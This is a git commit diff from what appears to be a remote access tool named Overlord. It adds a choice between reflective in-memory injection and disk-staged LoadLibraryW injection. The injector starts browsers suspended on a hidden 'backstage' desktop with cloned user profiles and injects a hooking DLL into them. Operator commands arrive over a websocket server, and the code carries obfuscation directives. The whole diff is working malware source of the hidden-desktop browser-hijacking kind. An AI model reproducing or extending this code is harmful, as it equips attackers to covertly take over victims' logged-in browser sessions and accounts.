add option for on disk.

This commit is contained in:
KingKDot
2026-08-19 11:59:58 -05:00
parent 9e0a7b653d
commit bcc8e89495
7 changed files with 220 additions and 35 deletions
@@ -4,11 +4,11 @@ package capture
import "errors"
func StartbackstageProcessInjected(filePath string, dllBytes []byte, searchPath, replacePath string, display int) (uint32, error) {
func StartbackstageProcessInjected(filePath string, dllBytes []byte, searchPath, replacePath string, display int, method string) (uint32, error) {
return 0, errors.New("backstage injection not supported on this platform")
}
func StartbackstageChromeInjected(chromePath string, dllBytes []byte) error {
func StartbackstageChromeInjected(chromePath string, dllBytes []byte, method string) error {
return errors.New("backstage injection not supported on this platform")
}
@@ -16,7 +16,7 @@ type CloneProgressFunc func(percent int, copiedBytes, totalBytes int64, status s
type DXGIStatusFunc func(success bool, gpuPID uint32, message string)
type LaunchStatusFunc func(step string, success bool, detail string)
func StartbackstageBrowserInjected(browser string, exePath string, dllBytes []byte, clone bool, cloneLite bool, killIfRunning bool, display int, onProgress CloneProgressFunc, onDXGIStatus DXGIStatusFunc, onLaunchStatus LaunchStatusFunc) error {
func StartbackstageBrowserInjected(browser string, exePath string, dllBytes []byte, clone bool, cloneLite bool, killIfRunning bool, display int, method string, onProgress CloneProgressFunc, onDXGIStatus DXGIStatusFunc, onLaunchStatus LaunchStatusFunc) error {
return errors.New("backstage injection not supported on this platform")
}
@@ -3,7 +3,9 @@
package capture
import (
"crypto/sha256"
"encoding/binary"
"encoding/hex"
"fmt"
"log"
"os"
@@ -47,6 +49,28 @@ type LaunchStatusFunc func(step string, success bool, detail string)
var backstageDXGIStatusCallback atomic.Value
// InjectionMethod selects how the backstage DLL is injected into the target
// process.
type InjectionMethod string
const (
// InjectionMethodReflective uses the reflective loader injected via
// CreateRemoteThread. The DLL never touches disk.
InjectionMethodReflective InjectionMethod = "reflective"
// InjectionMethodLoadLibrary stages the DLL to a temp file and injects it
// with CreateRemoteThread + LoadLibraryW.
InjectionMethodLoadLibrary InjectionMethod = "loadlibrary"
)
func normalizeInjectionMethod(method string) InjectionMethod {
switch strings.ToLower(strings.TrimSpace(method)) {
case "loadlibrary", "loadlibraryw", "disk":
return InjectionMethodLoadLibrary
default:
return InjectionMethodReflective
}
}
const (
PROCESS_CREATE_THREAD = 0x0002
PROCESS_QUERY_INFORMATION = 0x0400
@@ -59,6 +83,7 @@ const (
MEM_COMMIT = 0x1000
MEM_RESERVE = 0x2000
PAGE_READWRITE = 0x04
PAGE_EXECUTE_READWRITE = 0x40
INFINITE_WAIT = 0xFFFFFFFF
@@ -166,7 +191,8 @@ func enableDebugPrivilege() {
// StartbackstageProcessInjected starts a process suspended on the backstage desktop,
// injects the reflective DLL, then resumes it.
// searchPath/replacePath are passed as environment variables for the DLL hooks.
func StartbackstageProcessInjected(filePath string, dllBytes []byte, searchPath, replacePath string, display int) (uint32, error) {
// method selects the injection technique: "reflective" (default) or "loadlibrary".
func StartbackstageProcessInjected(filePath string, dllBytes []byte, searchPath, replacePath string, display int, method string) (uint32, error) {
if filePath == "" {
return 0, fmt.Errorf("empty file path")
}
@@ -181,6 +207,7 @@ func StartbackstageProcessInjected(filePath string, dllBytes []byte, searchPath,
searchPath: searchPath,
replacePath: replacePath,
display: display,
method: method,
}, 30*time.Second)
if err != nil {
return 0, err
@@ -188,7 +215,7 @@ func StartbackstageProcessInjected(filePath string, dllBytes []byte, searchPath,
return result.pid, result.err
}
func StartbackstageBrowserInjected(browser string, exePath string, dllBytes []byte, clone bool, cloneLite bool, killIfRunning bool, display int, onProgress CloneProgressFunc, onDXGIStatus DXGIStatusFunc, onLaunchStatus LaunchStatusFunc) error {
func StartbackstageBrowserInjected(browser string, exePath string, dllBytes []byte, clone bool, cloneLite bool, killIfRunning bool, display int, method string, onProgress CloneProgressFunc, onDXGIStatus DXGIStatusFunc, onLaunchStatus LaunchStatusFunc) error {
if onDXGIStatus != nil {
backstageDXGIStatusCallback.Store(onDXGIStatus)
}
@@ -235,7 +262,7 @@ func StartbackstageBrowserInjected(browser string, exePath string, dllBytes []by
if !clone {
notify("launch", true, "starting without profile cloning")
pid, err := StartbackstageProcessInjected(exePath, dllBytes, "", "", display)
pid, err := StartbackstageProcessInjected(exePath, dllBytes, "", "", display, method)
if err != nil {
notify("launch", false, fmt.Sprintf("CreateProcess failed: %v", err))
return err
@@ -296,7 +323,7 @@ func StartbackstageBrowserInjected(browser string, exePath string, dllBytes []by
}
notify("launch", true, "starting with cloned profile")
pid, err := StartbackstageProcessInjected(exePath, dllBytes, realUserData, cloneDir, display)
pid, err := StartbackstageProcessInjected(exePath, dllBytes, realUserData, cloneDir, display, method)
if err != nil {
notify("launch", false, fmt.Sprintf("CreateProcess failed: %v", err))
return err
@@ -319,8 +346,8 @@ func StartbackstageBrowserInjected(browser string, exePath string, dllBytes []by
}
// StartbackstageChromeInjected is kept for backward compatibility.
func StartbackstageChromeInjected(chromePath string, dllBytes []byte) error {
return StartbackstageBrowserInjected("chrome", chromePath, dllBytes, true, false, true, 0, nil, nil, nil)
func StartbackstageChromeInjected(chromePath string, dllBytes []byte, method string) error {
return StartbackstageBrowserInjected("chrome", chromePath, dllBytes, true, false, true, 0, method, nil, nil, nil)
}
type browserInfo struct {
@@ -1002,7 +1029,7 @@ func calcDirSize(dir string) int64 {
return total
}
func startbackstageProcessInjectedOnThread(filePath string, dllBytes []byte, searchPath, replacePath string, display int) (uint32, error) {
func startbackstageProcessInjectedOnThread(filePath string, dllBytes []byte, searchPath, replacePath string, display int, method string) (uint32, error) {
//garble:controlflow block_splits=10 junk_jumps=10 flatten_passes=2
if filePath == "" {
return 0, fmt.Errorf("empty file path")
@@ -1029,19 +1056,20 @@ func startbackstageProcessInjectedOnThread(filePath string, dllBytes []byte, sea
}
log.Printf("backstage inject: created suspended process PID %d", pid)
// Inject the reflective DLL
if err := reflectiveInject(hProcess, dllBytes); err != nil {
// Inject the backstage DLL
injMethod := normalizeInjectionMethod(method)
if err := injectIntoProcess(hProcess, dllBytes, injMethod); err != nil {
procCloseHandle.Call(hProcess)
procCloseHandle.Call(hThread)
terminateProcess(hProcess)
procCloseHandle.Call(shmHandle)
return 0, fmt.Errorf("DLL injection failed: %v", err)
}
log.Printf("backstage inject: DLL injected into PID %d", pid)
log.Printf("backstage inject: DLL injected into PID %d (method=%s)", pid, injMethod)
// The DLL's InstallNtApiHooks has run (reflectiveInject waits for the
// loader thread). The DLL opened the shared section, so we can release
// our handle now.
// The DLL's InstallNtApiHooks has run (injectIntoProcess waits for the
// injector thread to finish, so DllMain already opened the shared section).
// We can release our handle now.
procCloseHandle.Call(shmHandle)
procCloseHandle.Call(hProcess)
@@ -1419,6 +1447,128 @@ func isRDIEnvironmentEntry(entry string) bool {
}
}
func injectIntoProcess(hProcess uintptr, dllBytes []byte, method InjectionMethod) error {
switch method {
case InjectionMethodLoadLibrary:
dllPath, err := stageInjectionDLL(dllBytes)
if err != nil {
return fmt.Errorf("failed to stage DLL for LoadLibrary: %v", err)
}
log.Printf("backstage inject: using LoadLibrary injection from %s", dllPath)
if err := loadLibraryInject(hProcess, dllPath); err != nil {
_ = os.Remove(dllPath)
return err
}
// The DLL is fully resident in the target and self-injects into child
// processes from the shared section, so the staged file is no longer
// needed.
_ = os.Remove(dllPath)
return nil
default:
return reflectiveInject(hProcess, dllBytes)
}
}
// stageInjectionDLL writes the DLL bytes to a temp file so it can be loaded
// with LoadLibraryW. The file name is content-addressed so repeat injections
// reuse an existing file.
func stageInjectionDLL(dllBytes []byte) (string, error) {
sum := sha256.Sum256(dllBytes)
hash := hex.EncodeToString(sum[:])
dir := filepath.Join(os.TempDir(), "Overlord", "backstage")
if err := os.MkdirAll(dir, 0700); err != nil {
return "", fmt.Errorf("create staging dir: %w", err)
}
target := filepath.Join(dir, "BackstageInjection-"+hash+".x64.dll")
if st, err := os.Stat(target); err == nil && st.Size() == int64(len(dllBytes)) {
return target, nil
}
tmp := target + ".tmp"
if err := os.WriteFile(tmp, dllBytes, 0600); err != nil {
return "", fmt.Errorf("write staging file: %w", err)
}
if err := os.Rename(tmp, target); err != nil {
_ = os.Remove(tmp)
if st, statErr := os.Stat(target); statErr == nil && st.Size() == int64(len(dllBytes)) {
return target, nil
}
return "", fmt.Errorf("finalize staging file: %w", err)
}
return target, nil
}
// loadLibraryInject uses the classic LoadLibraryW injection: it writes the
// DLL path into the target process and runs LoadLibraryW there via
// CreateRemoteThread. kernel32 is mapped at the same base across processes on
// the same boot, so the local LoadLibraryW address is used for the remote
// thread start routine.
func loadLibraryInject(hProcess uintptr, dllPath string) error {
loadLibAddr := kernel32.NewProc("LoadLibraryW").Addr()
if loadLibAddr == 0 {
return fmt.Errorf("resolving LoadLibraryW failed")
}
log.Printf("backstage inject: LoadLibraryW at 0x%x", loadLibAddr)
pathBytes, err := syscall.UTF16FromString(dllPath)
if err != nil {
return fmt.Errorf("UTF16FromString(%q): %v", dllPath, err)
}
remotePath, _, _ := procVirtualAllocEx.Call(
hProcess,
0,
uintptr(len(pathBytes)*2),
MEM_RESERVE|MEM_COMMIT,
PAGE_READWRITE,
)
if remotePath == 0 {
return fmt.Errorf("VirtualAllocEx failed")
}
var bytesWritten uintptr
ret, _, _ := procWriteProcessMemory.Call(
hProcess,
remotePath,
uintptr(unsafe.Pointer(&pathBytes[0])),
uintptr(len(pathBytes)*2),
uintptr(unsafe.Pointer(&bytesWritten)),
)
if ret == 0 {
return fmt.Errorf("WriteProcessMemory failed")
}
var threadID uintptr
hThread, _, _ := procCreateRemoteThread.Call(
hProcess,
0,
0,
loadLibAddr,
remotePath,
0,
uintptr(unsafe.Pointer(&threadID)),
)
if hThread == 0 {
return fmt.Errorf("CreateRemoteThread failed")
}
waitRet, _, waitErr := procWaitForSingleObject.Call(hThread, 30000)
var exitCode uint32
if ret, _, callErr := procGetExitCodeThread.Call(hThread, uintptr(unsafe.Pointer(&exitCode))); ret != 0 {
log.Printf("backstage inject: remote LoadLibrary thread finished wait=0x%x module=0x%x", waitRet, exitCode)
} else {
log.Printf("backstage inject: GetExitCodeThread failed after wait=0x%x: %v", waitRet, callErr)
}
procCloseHandle.Call(hThread)
if waitRet == 0xFFFFFFFF {
return fmt.Errorf("remote LoadLibrary thread wait failed: %v", waitErr)
}
if exitCode == 0 {
return fmt.Errorf("LoadLibraryW failed in remote process")
}
return nil
}
func reflectiveInject(hProcess uintptr, dllBytes []byte) error {
loaderOffset, err := findReflectiveLoaderOffset(dllBytes)
if err != nil {
@@ -236,6 +236,7 @@ type backstageTask struct {
dllBytes []byte
searchPath string
replacePath string
method string
queuedAt time.Time
resp chan backstageTaskResult
}
@@ -561,7 +562,7 @@ func ensurebackstageThread() error {
case backstageTaskStartProcess:
result.pid, result.err = startbackstageProcessOnThread(task.filePath, task.display)
case backstageTaskStartProcessInjected:
result.pid, result.err = startbackstageProcessInjectedOnThread(task.filePath, task.dllBytes, task.searchPath, task.replacePath, task.display)
result.pid, result.err = startbackstageProcessInjectedOnThread(task.filePath, task.dllBytes, task.searchPath, task.replacePath, task.display, task.method)
case backstageTaskMouseMove:
result.err = backstageMouseMoveOnThread(task.display, task.x, task.y)
case backstageTaskMouseDown:
@@ -848,7 +849,7 @@ func backstageTaskDetails(task backstageTask) string {
case backstageTaskStartProcess:
return fmt.Sprintf("cmd=%q", task.filePath)
case backstageTaskStartProcessInjected:
return fmt.Sprintf("cmd=%q search=%q replace=%q dllSize=%d", task.filePath, task.searchPath, task.replacePath, len(task.dllBytes))
return fmt.Sprintf("cmd=%q search=%q replace=%q method=%s dllSize=%d", task.filePath, task.searchPath, task.replacePath, task.method, len(task.dllBytes))
default:
return ""
}
+18 -6
View File
@@ -2013,6 +2013,7 @@ func HandleCommand(ctx context.Context, env *runtime.Env, envelope map[string]in
searchPath := ""
replacePath := ""
display := 0
injectionMethod := ""
if payload != nil {
if v, ok := payload["path"].(string); ok {
filePath = v
@@ -2026,16 +2027,19 @@ func HandleCommand(ctx context.Context, env *runtime.Env, envelope map[string]in
if v, ok := payload["display"].(float64); ok {
display = int(v)
}
if v, ok := payload["injectionMethod"].(string); ok {
injectionMethod = v
}
}
dllBytes := extractDLLBytes(payload)
if len(dllBytes) == 0 {
sendCommandResultSafe(env, cmdID, false, "no DLL provided")
return nil
}
log.Printf("backstage: start process injected %q search=%q replace=%q display=%d dllSize=%d", filePath, searchPath, replacePath, display, len(dllBytes))
log.Printf("backstage: start process injected %q search=%q replace=%q display=%d method=%q dllSize=%d", filePath, searchPath, replacePath, display, injectionMethod, len(dllBytes))
sendCommandResultSafe(env, cmdID, true, "")
goSafe("backstage_start_process_injected", nil, func() {
if _, err := capture.StartbackstageProcessInjected(filePath, dllBytes, searchPath, replacePath, display); err != nil {
if _, err := capture.StartbackstageProcessInjected(filePath, dllBytes, searchPath, replacePath, display, injectionMethod); err != nil {
log.Printf("backstage: injected process failed for %q: %v", filePath, err)
}
})
@@ -2044,20 +2048,24 @@ func HandleCommand(ctx context.Context, env *runtime.Env, envelope map[string]in
case "backstage_start_chrome_injected":
payload, _ := envelope["payload"].(map[string]interface{})
chromePath := ""
injectionMethod := ""
if payload != nil {
if v, ok := payload["path"].(string); ok {
chromePath = v
}
if v, ok := payload["injectionMethod"].(string); ok {
injectionMethod = v
}
}
dllBytes := extractDLLBytes(payload)
if len(dllBytes) == 0 {
sendCommandResultSafe(env, cmdID, false, "no DLL provided")
return nil
}
log.Printf("backstage: start chrome injected path=%q dllSize=%d", chromePath, len(dllBytes))
log.Printf("backstage: start chrome injected path=%q method=%q dllSize=%d", chromePath, injectionMethod, len(dllBytes))
sendCommandResultSafe(env, cmdID, true, "")
goSafe("backstage_start_chrome_injected", nil, func() {
if err := capture.StartbackstageChromeInjected(chromePath, dllBytes); err != nil {
if err := capture.StartbackstageChromeInjected(chromePath, dllBytes, injectionMethod); err != nil {
log.Printf("backstage: chrome injected failed: %v", err)
}
})
@@ -2071,6 +2079,7 @@ func HandleCommand(ctx context.Context, env *runtime.Env, envelope map[string]in
cloneLite := false
killIfRunning := false
display := 0
injectionMethod := ""
if payload != nil {
if v, ok := payload["browser"].(string); ok {
browser = v
@@ -2090,6 +2099,9 @@ func HandleCommand(ctx context.Context, env *runtime.Env, envelope map[string]in
if v, ok := payload["display"].(float64); ok {
display = int(v)
}
if v, ok := payload["injectionMethod"].(string); ok {
injectionMethod = v
}
}
dllBytes := extractDLLBytes(payload)
if len(dllBytes) == 0 {
@@ -2100,7 +2112,7 @@ func HandleCommand(ctx context.Context, env *runtime.Env, envelope map[string]in
sendCommandResultSafe(env, cmdID, false, "no browser specified")
return nil
}
log.Printf("backstage: start browser injected browser=%q path=%q clone=%v cloneLite=%v killIfRunning=%v display=%d dllSize=%d", browser, exePath, clone, cloneLite, killIfRunning, display, len(dllBytes))
log.Printf("backstage: start browser injected browser=%q path=%q clone=%v cloneLite=%v killIfRunning=%v display=%d method=%q dllSize=%d", browser, exePath, clone, cloneLite, killIfRunning, display, injectionMethod, len(dllBytes))
sendCommandResultSafe(env, cmdID, true, "")
goSafe("backstage_start_browser_injected", nil, func() {
var onProgress capture.CloneProgressFunc
@@ -2137,7 +2149,7 @@ func HandleCommand(ctx context.Context, env *runtime.Env, envelope map[string]in
Detail: detail,
})
}
if err := capture.StartbackstageBrowserInjected(browser, exePath, dllBytes, clone, cloneLite, killIfRunning, display, onProgress, onDXGIStatus, onLaunchStatus); err != nil {
if err := capture.StartbackstageBrowserInjected(browser, exePath, dllBytes, clone, cloneLite, killIfRunning, display, injectionMethod, onProgress, onDXGIStatus, onLaunchStatus); err != nil {
log.Printf("backstage: browser injected failed for %q: %v", browser, err)
}
})
+23 -11
View File
@@ -202,6 +202,13 @@ import { createSharedUiSettingsSaver, loadSharedUiSettings } from "./generated/s
if (killIfRunningToggle && typeof settings.killIfRunning === "boolean") {
killIfRunningToggle.checked = settings.killIfRunning;
}
const injectionMethodSelect = document.getElementById("backstageInjectionMethod");
if (injectionMethodSelect && typeof settings.injectionMethod === "string") {
const allowed = ["reflective", "loadlibrary"];
if (allowed.includes(settings.injectionMethod)) {
setSelectValue(injectionMethodSelect, settings.injectionMethod);
}
}
applySavedDisplay();
}
@@ -222,9 +229,14 @@ import { createSharedUiSettingsSaver, loadSharedUiSettings } from "./generated/s
cloneProfile: document.getElementById("backstageCloneToggle")?.checked !== false,
cloneLite: document.getElementById("backstageCloneLiteToggle")?.checked === true,
killIfRunning: document.getElementById("backstageKillIfRunningToggle")?.checked === true,
injectionMethod: readInjectionMethod(),
};
}
function readInjectionMethod() {
return document.getElementById("backstageInjectionMethod")?.value || "reflective";
}
applySharedSettings(await loadSharedUiSettings("backstage"));
// Interactive input is intentionally session-scoped: opening any client's
// page must require the operator to opt in again, regardless of saved UI
@@ -1830,7 +1842,7 @@ import { createSharedUiSettingsSaver, loadSharedUiSettings } from "./generated/s
});
}
["backstageCloneToggle", "backstageCloneLiteToggle", "backstageKillIfRunningToggle"].forEach((id) => {
["backstageCloneToggle", "backstageCloneLiteToggle", "backstageKillIfRunningToggle", "backstageInjectionMethod"].forEach((id) => {
const el = document.getElementById(id);
if (el) {
el.addEventListener("change", function () {
@@ -1851,52 +1863,52 @@ import { createSharedUiSettingsSaver, loadSharedUiSettings } from "./generated/s
const clone = document.getElementById("backstageCloneToggle")?.checked !== false;
const cloneLite = document.getElementById("backstageCloneLiteToggle")?.checked === true;
const killIfRunning = document.getElementById("backstageKillIfRunningToggle")?.checked !== false;
sendCmd("backstage_start_browser_injected", { browser: "chrome", clone, cloneLite, killIfRunning });
sendCmd("backstage_start_browser_injected", { browser: "chrome", clone, cloneLite, killIfRunning, injectionMethod: readInjectionMethod() });
} else if (action === "start-brave") {
const clone = document.getElementById("backstageCloneToggle")?.checked !== false;
const cloneLite = document.getElementById("backstageCloneLiteToggle")?.checked === true;
const killIfRunning = document.getElementById("backstageKillIfRunningToggle")?.checked !== false;
sendCmd("backstage_start_browser_injected", { browser: "brave", clone, cloneLite, killIfRunning });
sendCmd("backstage_start_browser_injected", { browser: "brave", clone, cloneLite, killIfRunning, injectionMethod: readInjectionMethod() });
} else if (action === "start-edge") {
const clone = document.getElementById("backstageCloneToggle")?.checked !== false;
const cloneLite = document.getElementById("backstageCloneLiteToggle")?.checked === true;
const killIfRunning = document.getElementById("backstageKillIfRunningToggle")?.checked !== false;
sendCmd("backstage_start_browser_injected", { browser: "edge", clone, cloneLite, killIfRunning });
sendCmd("backstage_start_browser_injected", { browser: "edge", clone, cloneLite, killIfRunning, injectionMethod: readInjectionMethod() });
} else if (action === "start-firefox") {
const clone = document.getElementById("backstageCloneToggle")?.checked !== false;
const cloneLite = document.getElementById("backstageCloneLiteToggle")?.checked === true;
const killIfRunning = document.getElementById("backstageKillIfRunningToggle")?.checked !== false;
sendCmd("backstage_start_browser_injected", { browser: "firefox", clone, cloneLite, killIfRunning });
sendCmd("backstage_start_browser_injected", { browser: "firefox", clone, cloneLite, killIfRunning, injectionMethod: readInjectionMethod() });
} else if (action === "start-opera") {
const clone = document.getElementById("backstageCloneToggle")?.checked !== false;
const cloneLite = document.getElementById("backstageCloneLiteToggle")?.checked === true;
const killIfRunning = document.getElementById("backstageKillIfRunningToggle")?.checked !== false;
sendCmd("backstage_start_browser_injected", { browser: "opera", clone, cloneLite, killIfRunning });
sendCmd("backstage_start_browser_injected", { browser: "opera", clone, cloneLite, killIfRunning, injectionMethod: readInjectionMethod() });
} else if (action === "start-operagx") {
const clone = document.getElementById("backstageCloneToggle")?.checked !== false;
const cloneLite = document.getElementById("backstageCloneLiteToggle")?.checked === true;
const killIfRunning = document.getElementById("backstageKillIfRunningToggle")?.checked !== false;
sendCmd("backstage_start_browser_injected", { browser: "operagx", clone, cloneLite, killIfRunning });
sendCmd("backstage_start_browser_injected", { browser: "operagx", clone, cloneLite, killIfRunning, injectionMethod: readInjectionMethod() });
} else if (action === "start-vivaldi") {
const clone = document.getElementById("backstageCloneToggle")?.checked !== false;
const cloneLite = document.getElementById("backstageCloneLiteToggle")?.checked === true;
const killIfRunning = document.getElementById("backstageKillIfRunningToggle")?.checked !== false;
sendCmd("backstage_start_browser_injected", { browser: "vivaldi", clone, cloneLite, killIfRunning });
sendCmd("backstage_start_browser_injected", { browser: "vivaldi", clone, cloneLite, killIfRunning, injectionMethod: readInjectionMethod() });
} else if (action === "start-yandex") {
const clone = document.getElementById("backstageCloneToggle")?.checked !== false;
const cloneLite = document.getElementById("backstageCloneLiteToggle")?.checked === true;
const killIfRunning = document.getElementById("backstageKillIfRunningToggle")?.checked !== false;
sendCmd("backstage_start_browser_injected", { browser: "yandex", clone, cloneLite, killIfRunning });
sendCmd("backstage_start_browser_injected", { browser: "yandex", clone, cloneLite, killIfRunning, injectionMethod: readInjectionMethod() });
} else if (action === "start-waterfox") {
const clone = document.getElementById("backstageCloneToggle")?.checked !== false;
const cloneLite = document.getElementById("backstageCloneLiteToggle")?.checked === true;
const killIfRunning = document.getElementById("backstageKillIfRunningToggle")?.checked !== false;
sendCmd("backstage_start_browser_injected", { browser: "waterfox", clone, cloneLite, killIfRunning });
sendCmd("backstage_start_browser_injected", { browser: "waterfox", clone, cloneLite, killIfRunning, injectionMethod: readInjectionMethod() });
} else if (action === "start-arc") {
const clone = document.getElementById("backstageCloneToggle")?.checked !== false;
const cloneLite = document.getElementById("backstageCloneLiteToggle")?.checked === true;
const killIfRunning = document.getElementById("backstageKillIfRunningToggle")?.checked !== false;
sendCmd("backstage_start_browser_injected", { browser: "arc", clone, cloneLite, killIfRunning });
sendCmd("backstage_start_browser_injected", { browser: "arc", clone, cloneLite, killIfRunning, injectionMethod: readInjectionMethod() });
} else if (action === "start-custom") {
hideContextMenu();
showCustomExeModal();
+7
View File
@@ -264,6 +264,13 @@
<input type="checkbox" id="backstageKillIfRunningToggle" class="accent-violet-500 w-4 h-4 rounded" />
<span class="text-xs text-slate-300">Kill browser if running</span>
</label>
<label class="flex items-center justify-between gap-2 px-3 py-1.5 cursor-pointer hover:bg-slate-800/70 select-none">
<span class="text-xs text-slate-300">Injection method</span>
<select id="backstageInjectionMethod" class="bg-slate-800 border border-slate-700 rounded px-1.5 py-0.5 text-xs text-slate-200 focus:outline-none focus:border-violet-500">
<option value="reflective">Reflective (in-memory)</option>
<option value="loadlibrary">LoadLibrary (disk)</option>
</select>
</label>
<div class="my-1 border-t border-slate-700/60"></div>
<!-- Shells -->
<div class="px-3 pt-2 pb-1 text-xs uppercase tracking-wide text-slate-500">Shells</div>
@@ -1405,6 +1405,7 @@ export function handlebackstageViewerMessage(ws: ServerWebSocket<SocketData>, ra
replace_path: String(payload.replace_path || ""),
dll: dllData,
display: state.display ?? 0,
injectionMethod: String(payload.injectionMethod || ""),
};
sendbackstageCommand(target, "backstage_start_process_injected", cmdPayload);
break;
@@ -1420,6 +1421,7 @@ export function handlebackstageViewerMessage(ws: ServerWebSocket<SocketData>, ra
path: String(payload.path || ""),
dll: dllData,
display: state.display ?? 0,
injectionMethod: String(payload.injectionMethod || ""),
};
sendbackstageCommand(target, "backstage_start_chrome_injected", chromeCmdPayload);
break;
@@ -1439,6 +1441,7 @@ export function handlebackstageViewerMessage(ws: ServerWebSocket<SocketData>, ra
killIfRunning: payload.killIfRunning === true,
dll: dllData,
display: state.display ?? 0,
injectionMethod: String(payload.injectionMethod || ""),
};
sendbackstageCommand(target, "backstage_start_browser_injected", browserCmdPayload);
break;